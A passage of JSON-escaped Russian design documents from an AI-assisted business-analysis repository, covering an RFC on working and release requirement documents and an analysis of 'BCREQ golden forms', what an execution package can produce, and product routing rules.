\u0440\u0435\u0448\u0435\u043d\u0438\u044f. | \u041f\u043e\u043b\u043d\u044b\u0439 Working baseline \u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u0430\u044f Release-\u043f\u0440\u043e\u0435\u043a\u0446\u0438\u044f. |\\n| \u0420\u0430\u0437\u0434\u0435\u043b 2.3 \u00ab\u0417\u0430\u0434\u0430\u0447\u0438\u00bb \u0432 \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u043d\u043d\u044b\u0445 \u043a\u0435\u0439\u0441\u0430\u0445 \u043f\u043e\u0432\u0442\u043e\u0440\u044f\u043b FR, \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0438 \u0434\u0435\u0442\u0430\u043b\u0438 \u0440\u0435\u0448\u0435\u043d\u0438\u044f. | \u041e\u0434\u0438\u043d \u0441\u043c\u044b\u0441\u043b \u0440\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0432 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u043c\u0435\u0441\u0442\u0430\u0445 \u0438 \u0440\u0430\u0441\u0445\u043e\u0434\u0438\u0442\u0441\u044f. | \u0417\u0430\u043c\u0435\u043d\u0438\u0442\u044c \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0437\u0430\u0434\u0430\u0447\u0438 \u044f\u0432\u043d\u043e\u0439 \u0433\u0440\u0430\u043d\u0438\u0446\u0435\u0439 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f; \u0437\u0430\u0434\u0430\u0447\u0438 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044e \u043d\u0435 \u0432\u043a\u043b\u044e\u0447\u0430\u0442\u044c \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f. |\\n| NFR \u043f\u043e\u044f\u0432\u043b\u044f\u043b\u0438\u0441\u044c \u043a\u0430\u043a \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u043f\u043e\u0436\u0435\u043b\u0430\u043d\u0438\u044f \u0438\u043b\u0438 \u043a\u0430\u043a \u043f\u0440\u043e\u0446\u0435\u043d\u0442\u044b, \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u043a \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044e. | \u041a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u043d\u0435\u043b\u044c\u0437\u044f \u043f\u0440\u043e\u0441\u043b\u0435\u0434\u0438\u0442\u044c \u043a \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0438\u043b\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0431\u0435\u0437 \u0432\u044b\u0434\u0443\u043c\u0430\u043d\u043d\u043e\u0439 \u043c\u0435\u0442\u0440\u0438\u043a\u0438. | \u0422\u0438\u043f\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 NFR \u0441 \u044f\u0432\u043d\u044b\u043c `applies_to_fr` \u0438 \u0434\u043e\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u043c target. |\\n| \u041e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0441\u0443\u0436\u0434\u0430\u043b\u0430\u0441\u044c \u043f\u043e\u0441\u043b\u0435 \u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0440\u0435\u0448\u0435\u043d\u0438\u044f. | \u041f\u043e\u0437\u0434\u043d\u0435\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 \u043c\u0435\u043d\u044f\u0435\u0442 FR, \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f \u0438 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u043d\u044b\u0435 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0438 \u0443\u0436\u0435 \u043f\u043e\u0441\u043b\u0435 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u044f. | \u0420\u0430\u043d\u043d\u0435\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043e \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u043d\u044b\u0435 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u043f\u043e \u0432\u0441\u0435\u0439 \u043c\u043e\u0434\u0435\u043b\u0438. |\\n| \u0414\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0433\u043e FR \u0433\u0435\u043d\u0435\u0440\u0438\u0440\u043e\u0432\u0430\u043b\u0438\u0441\u044c UC \u0438\u043b\u0438 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u044f; \u0432 \u0434\u0440\u0443\u0433\u0438\u0445 \u0441\u043b\u0443\u0447\u0430\u044f\u0445 edge cases \u043e\u0441\u0442\u0430\u0432\u0430\u043b\u0438\u0441\u044c \u0431\u0435\u0437 \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430. | \u0412\u043e\u0437\u043d\u0438\u043a\u0430\u044e\u0442 \u0444\u0438\u043a\u0442\u0438\u0432\u043d\u044b\u0435 \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u0438, \u0434\u043e\u0434\u0443\u043c\u0430\u043d\u043d\u0430\u044f \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430 \u0438\u043b\u0438 \u043d\u0435\u043f\u043e\u043b\u043d\u043e\u0435 \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u0435. | \u041d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0439 trace-\u0433\u0440\u0430\u0444 \u0438 \u0433\u0435\u0439\u0442\u044b \u043c\u0435\u0436\u0434\u0443 \u0441\u0442\u0430\u0434\u0438\u044f\u043c\u0438. |\\n| \u0414\u0432\u0430 JSON-\u0432\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u043e\u043a\u0430\u0437\u0430\u043b\u0438\u0441\u044c \u0431\u0430\u0439\u0442-\u0432-\u0431\u0430\u0439\u0442 \u0438\u0434\u0435\u043d\u0442\u0438\u0447\u043d\u044b\u043c\u0438. | \u041a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0444\u0430\u0439\u043b\u043e\u0432 \u043e\u0448\u0438\u0431\u043e\u0447\u043d\u043e \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442\u0441\u044f \u0437\u0430 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0445 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432. | \u0414\u0435\u0434\u0443\u043f\u043b\u0438\u043a\u0430\u0446\u0438\u044f evidence \u043f\u043e checksum \u0434\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0430. |\\n\\n\u041f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u0430 \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043d\u0430\u044f \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430 \u00ab\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0443\u043b\u0443\u0447\u0448\u0438\u0442\u044c \u0448\u0430\u0431\u043b\u043e\u043d \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u0433\u043e\\n\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u00bb. \u041e\u043d\u0430 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u0430: \u0434\u0435\u0444\u0435\u043a\u0442\u044b \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u043b\u0438 \u0434\u043e \u0440\u0435\u043d\u0434\u0435\u0440\u0438\u043d\u0433\u0430 \u2014 \u043f\u0440\u0438\\n\u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0432\u044b\u0431\u043e\u0440\u0435 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430, \u0443\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0438 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u044f \u0438 \u043f\u043e\u0441\u0442\u0440\u043e\u0435\u043d\u0438\u0438\\ntrace. \u0421\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e, \u043d\u0443\u0436\u0435\u043d \u0436\u0438\u0437\u043d\u0435\u043d\u043d\u044b\u0439 \u0446\u0438\u043a\u043b \u043c\u043e\u0434\u0435\u043b\u0438, \u0430 \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u043e\u0432\u044b\u0439 \u0448\u0430\u0431\u043b\u043e\u043d.\\n\\n\u0412\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u043a\u0430\u043a \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430, \u0430 \u043d\u0435 \u043a\u0430\u043a \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0445\\n\u0444\u0430\u043a\u0442\u043e\u0432. \u0418\u0441\u0445\u043e\u0434\u043d\u044b\u0435 JSON/TXT \u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u043d\u044b\u0435 \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0438 \u043d\u0435 \u0432\u0445\u043e\u0434\u044f\u0442 \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439 \u0438\\n\u043f\u043e\u0434\u043b\u0435\u0436\u0430\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u044e \u043f\u043e\u0441\u043b\u0435 \u0430\u043d\u0430\u043b\u0438\u0437\u0430.\\n\\n## Goals and Non-goals\\n\\n### Goals\\n\\n- \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c \u0440\u043e\u043b\u0438 Working Document \u0438 Release Document \u0431\u0435\u0437 \u0434\u0432\u0443\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432\\n  \u0438\u0441\u0442\u0438\u043d\u044b;\\n- \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441\u0442\u0430\u0434\u0438\u0438, \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u044b, \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0435\u0432 \u0440\u0435\u0448\u0435\u043d\u0438\u0439 \u0438 \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0435/\u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u0435\\n  \u0433\u0435\u0439\u0442\u044b;\\n- \u0440\u0435\u0448\u0438\u0442\u044c \u0441\u0443\u0434\u044c\u0431\u0443 \u0440\u0430\u0437\u0434\u0435\u043b\u0430 2.3;\\n- \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0442\u044c \u0442\u0440\u0430\u0441\u0441\u0438\u0440\u043e\u0432\u043a\u0443 \u043a\u0430\u0436\u0434\u043e\u0433\u043e NFR \u043a \u043e\u0434\u043d\u043e\u043c\u0443 \u0438\u043b\u0438 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u043c FR;\\n- \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u043e\u0431\u0440\u0430\u0442\u043d\u0443\u044e \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u0441\u0442\u044c \u0440\u0430\u043d\u043d\u0438\u043c \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u043e\u043c FR, UC, edge cases \u0438 \u0434\u0438\u0437\u0430\u0439\u043d\u0430;\\n=== docs/analysis/2026-09-23-bcreq-golden-forms-and-feasibility.md\\n\\n# \u042d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0435 \u0444\u043e\u0440\u043c\u044b BCREQ \u0438 \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u043c\u043e\u0441\u0442\u044c \u0432 RG-BCREQ-v1\\n\\n## \u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\\n\\n\u0415\u0434\u0438\u043d\u0430\u044f \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0444\u043e\u0440\u043c\u0430 BCREQ \u0438\u0437 \u0441\u0435\u043c\u0438 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u043c\u0430 \u043a API, \u041b\u0438\u0447\u043d\u043e\u043c\u0443\\n\u043a\u0430\u0431\u0438\u043d\u0435\u0442\u0443 \u0438 \u041a\u043e\u043d\u0442\u0430\u043a\u0442-\u0446\u0435\u043d\u0442\u0440\u0443. \u041e\u0442\u043b\u0438\u0447\u0430\u0435\u0442\u0441\u044f \u043d\u0435 \u0432\u0435\u0440\u0445\u043d\u0438\u0439 \u0441\u043a\u0435\u043b\u0435\u0442, \u0430 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 4\\n\u0438 7. \u0420\u0430\u0437\u0434\u0435\u043b 3 \u0432\u043e \u0432\u0441\u0435\u0445 \u0442\u0440\u0451\u0445 \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\\n\u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0432\u0435\u0440\u0445\u043d\u0435\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f; \u043f\u043e\u043b\u044f, \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f, \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f, \u044d\u043a\u0440\u0430\u043d\u044b, \u043c\u0435\u0442\u043e\u0434\u044b, \u043e\u0448\u0438\u0431\u043a\u0438 \u0438\\n\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0438 \u0438 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e.\\n\\n\u0422\u0435\u043a\u0443\u0449\u0438\u0439 \u043f\u0430\u043a\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f\\n[`execution-package-gigacode-cli`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/dist/execution-package-gigacode-cli)\\n\u043c\u043e\u0436\u0435\u0442 **\u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u0442\u044c** \u0442\u0430\u043a\u043e\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0441\u0432\u043e\u0438\u043c\u0438 14 \u0441\u043b\u043e\u0442\u0430\u043c\u0438, \u043d\u043e \u043d\u0435 \u043c\u043e\u0436\u0435\u0442\\n**\u043d\u0430\u0434\u0451\u0436\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c** \u0435\u0433\u043e \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438. \u041c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u0433\u0435\u0439\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0444\u043e\u0440\u043c\u0443, \u0441\u0441\u044b\u043b\u043a\u0438 \u0438\\n\u043f\u043e\u043b\u043d\u043e\u0442\u0443 \u0441\u043b\u043e\u0442\u043e\u0432, \u0430 \u043d\u0435 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0430\u0431\u0441\u0442\u0440\u0430\u043a\u0446\u0438\u0438, \u0440\u0435\u043b\u0435\u0432\u0430\u043d\u0442\u043d\u043e\u0441\u0442\u044c \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0439 \u0438\u043b\u0438\\n\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e\u0441\u0442\u044c \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u044f. \u0411\u043e\u043b\u0435\u0435 \u0442\u043e\u0433\u043e, \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 \u043d\u0430\u0432\u044b\u043a \u0434\u0435\u043a\u043e\u043c\u043f\u043e\u0437\u0438\u0446\u0438\u0438 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\\n\u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e\u0441\u0442\u0438 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0424\u0422 \u0438 \u0442\u0435\u043c \u0441\u0430\u043c\u044b\u043c \u043f\u043e\u043e\u0449\u0440\u044f\u0435\u0442 \u043f\u0435\u0440\u0435\u043d\u043e\u0441 \u043f\u0440\u0430\u0432\u0438\u043b UI \u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043a \u0432\\n\u0440\u0430\u0437\u0434\u0435\u043b \u0424\u0422. \u042d\u0442\u043e \u043d\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 \u044f\u0437\u044b\u043a\u043e\u0432\u043e\u0439 \u043c\u043e\u0434\u0435\u043b\u0438; \u044d\u0442\u043e \u0434\u0435\u0444\u0435\u043a\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u043e\u0433\u043e\\n\u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 \u0438 \u0435\u0433\u043e \u0433\u0435\u0439\u0442\u043e\u0432.\\n\\n\u0412\u043b\u0430\u0434\u0435\u043b\u0435\u0446 \u043f\u0440\u0438\u043d\u044f\u043b \u0442\u0440\u0438 \u0444\u043e\u0440\u043c\u044b \u043a\u0430\u043a \u0446\u0435\u043b\u0435\u0432\u044b\u0435 \u043a\u0430\u043d\u0434\u0438\u0434\u0430\u0442\u044b \u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u043d\u043e\u043c \u043a\\n[issue #609](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/609)\\n\u0434\u0438\u0430\u043b\u043e\u0433\u0435. `accepted` \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442 \u043f\u0440\u0438\u0451\u043c\u043a\u0443 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0438 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0444\u043e\u0440\u043c\u044b, \u043d\u043e \u043d\u0435 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435\\n\u043a\u0435\u0439\u0441\u043e\u0432 \u0432 runtime Golden Set: \u0434\u043b\u044f \u043d\u0435\u0433\u043e \u0442\u0440\u0435\u0431\u0443\u044e\u0442\u0441\u044f \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0435 \u0432\u0445\u043e\u0434\u044b, \u0440\u0435\u0433\u0440\u0435\u0441\u0441\u0438\u043e\u043d\u043d\u044b\u0435\\nassertions \u0438 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 human gate. \u041e\u0446\u0435\u043d\u043a\u0430 \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e runtime \u043d\u0438\u0436\u0435 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f \u043a\\n\u0441\u043d\u0438\u043c\u043a\u0443 \u0434\u043e [PR #604](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/604);\\n\u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u0430\u044f \u0434\u0435\u043b\u044c\u0442\u0430 \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u043d\u0430 \u0432\\n[\u0441\u043a\u0432\u043e\u0437\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0435](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-24-architecture-convergence-and-readiness.md).\\n\\n## \u0414\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f 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\u042d\u0442\u0438 \u043f\u0440\u043e\u0431\u0435\u043b\u044b \u043d\u0435 \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u044e\u0442\\nSource-\u0441\u0445\u0435\u043c\u0443 \u0441 \u044f\u0432\u043d\u044b\u043c\u0438 `unresolved` \u0438 `not-applicable` \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f\u043c\u0438 \u0438 \u043d\u0435 \u0434\u0430\u044e\u0442\\n\u043f\u0440\u0430\u0432\u0430 \u043f\u043e\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c \u043f\u043e\u0445\u043e\u0436\u0438\u0435 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u044f \u043a\u0430\u043a \u0442\u043e\u0447\u043d\u044b\u0435 ID.\\n\\n## \u0413\u0440\u0430\u043d\u0438\u0446\u0430 \u0438 \u043c\u0435\u0442\u043e\u0434\\n\\n\u041f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u044b [issue #609](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/609)\\n\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0439 \u043a \u043d\u0435\u043c\u0443 \u0434\u0438\u0430\u043b\u043e\u0433, [PR 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\u0442\u043e\u043b\u044c\u043a\u043e\\n\u043a\u0430\u043a \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0438 \u043d\u0435 \u043a\u043e\u043f\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439.\\n\\n\u0410\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u044b \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u044b \u043d\u0430 \u0433\u0440\u0430\u043d\u0438\u0446\u0435: \u043f\u0440\u043e\u0441\u0442\u043e\u0439 `n0` \u0441 \u0432\u044b\u0431\u043e\u0440\u043e\u043c BA \u0443\u0436\u0435 \u0435\u0441\u0442\u044c, \u043d\u043e \u043d\u0435\\n\u0432\u044b\u0447\u0438\u0441\u043b\u044f\u0435\u0442 \u043f\u0435\u0440\u0432\u0438\u0447\u043d\u0443\u044e \u043e\u0441\u044c \u0438\u0437 \u0442\u0438\u043f\u0430 \u0440\u0430\u0431\u043e\u0442\u044b; 80-\u043f\u0440\u043e\u0446\u0435\u043d\u0442\u043d\u043e\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u0431\u0435\u0437 \u0448\u0430\u0431\u043b\u043e\u043d\u043d\u043e\u0433\u043e\\n\u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 \u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u043c; \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0439 SID Overview \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\\n\u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0435 \u0434\u043e\u043c\u0435\u043d\u044b, \u043d\u043e \u043d\u0435 \u0437\u0430\u043c\u0435\u043d\u044f\u0435\u0442 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 capability. \u041f\u043e\u044d\u0442\u043e\u043c\u0443\\n\u0432\u044b\u0431\u0440\u0430\u043d\u044b \u044f\u0432\u043d\u044b\u0439 \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 \u043d\u0430\u043c\u0435\u0440\u0435\u043d\u0438\u044f, \u0434\u0432\u0430 \u0442\u0438\u043f\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 industry binding \u0438\\n\u043e\u0442\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0439 \u0438\u0437\u043c\u0435\u0440\u0438\u043c\u044b\u0439 \u043f\u043e\u0440\u043e\u0433.\\n\\n## \u0421\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0443\u0442\u043e\u0447\u043d\u0435\u043d\u0438\u044f \u0438 \u0434\u043e\u043c \u0444\u0438\u043a\u0441\u0430\u0446\u0438\u0438\\n\\n| \u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a | \u0418\u0442\u043e\u0433\u043e\u0432\u043e\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u043e | \u0414\u043e\u043c \u0438 \u0433\u0440\u0430\u043d\u0438\u0446\u0430 |\\n| --- | --- | --- |\\n| #602: 14 \u0441\u043b\u043e\u0442\u043e\u0432, \u0441\u0435\u043c\u044c \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432, L1\u2013L4, \u0442\u0440\u0438 Golden Form | 14 \u0441\u043b\u043e\u0442\u043e\u0432 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0439 \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u043a\u043e\u0439; L1 FR \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u0443\u044e \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u044c, L2\u2013L4 \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u044e\u0442 \u0435\u0451. \u0422\u0440\u0438 \u0444\u043e\u0440\u043c\u044b \u043f\u0440\u0438\u043d\u044f\u0442\u044b \u043a\u0430\u043a \u0446\u0435\u043b\u0435\u0432\u044b\u0435 \u043a\u0430\u043d\u0434\u0438\u0434\u0430\u0442\u044b. | [RFC \u0430\u0431\u0441\u0442\u0440\u0430\u043a\u0446\u0438\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-bcreq-abstraction-and-product-routing.md) \u0438 [\u0430\u043d\u0430\u043b\u0438\u0437 \u0444\u043e\u0440\u043c](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-bcreq-golden-forms-and-feasibility.md); \u043f\u0435\u0440\u0435\u043d\u043e\u0441 \u0432 runtime Golden Set \u043f\u043e\u0441\u043b\u0435 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0433\u043e \u0442\u0435\u0441\u0442\u0430 \u0438 human gate. |\\n| #602: Product routing | \u0422\u0438\u043f \u0440\u0430\u0431\u043e\u0442\u044b \u0437\u0430\u0434\u0430\u0451\u0442 \u043f\u0435\u0440\u0432\u0438\u0447\u043d\u0443\u044e \u043e\u0441\u044c: MANGO-\u0434\u043e\u0440\u0430\u0431\u043e\u0442\u043a\u0430/KB \u2014 MANGO; \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u043a \u0438 \u0432\u043d\u0435\u0448\u043d\u0435\u0433\u043e \u0422\u0417 \u2014 \u043e\u0442\u0440\u0430\u0441\u043b\u044c, \u0437\u0430\u0442\u0435\u043c MANGO. \u0412\u0441\u0435 unmatched \u0438 uncertain 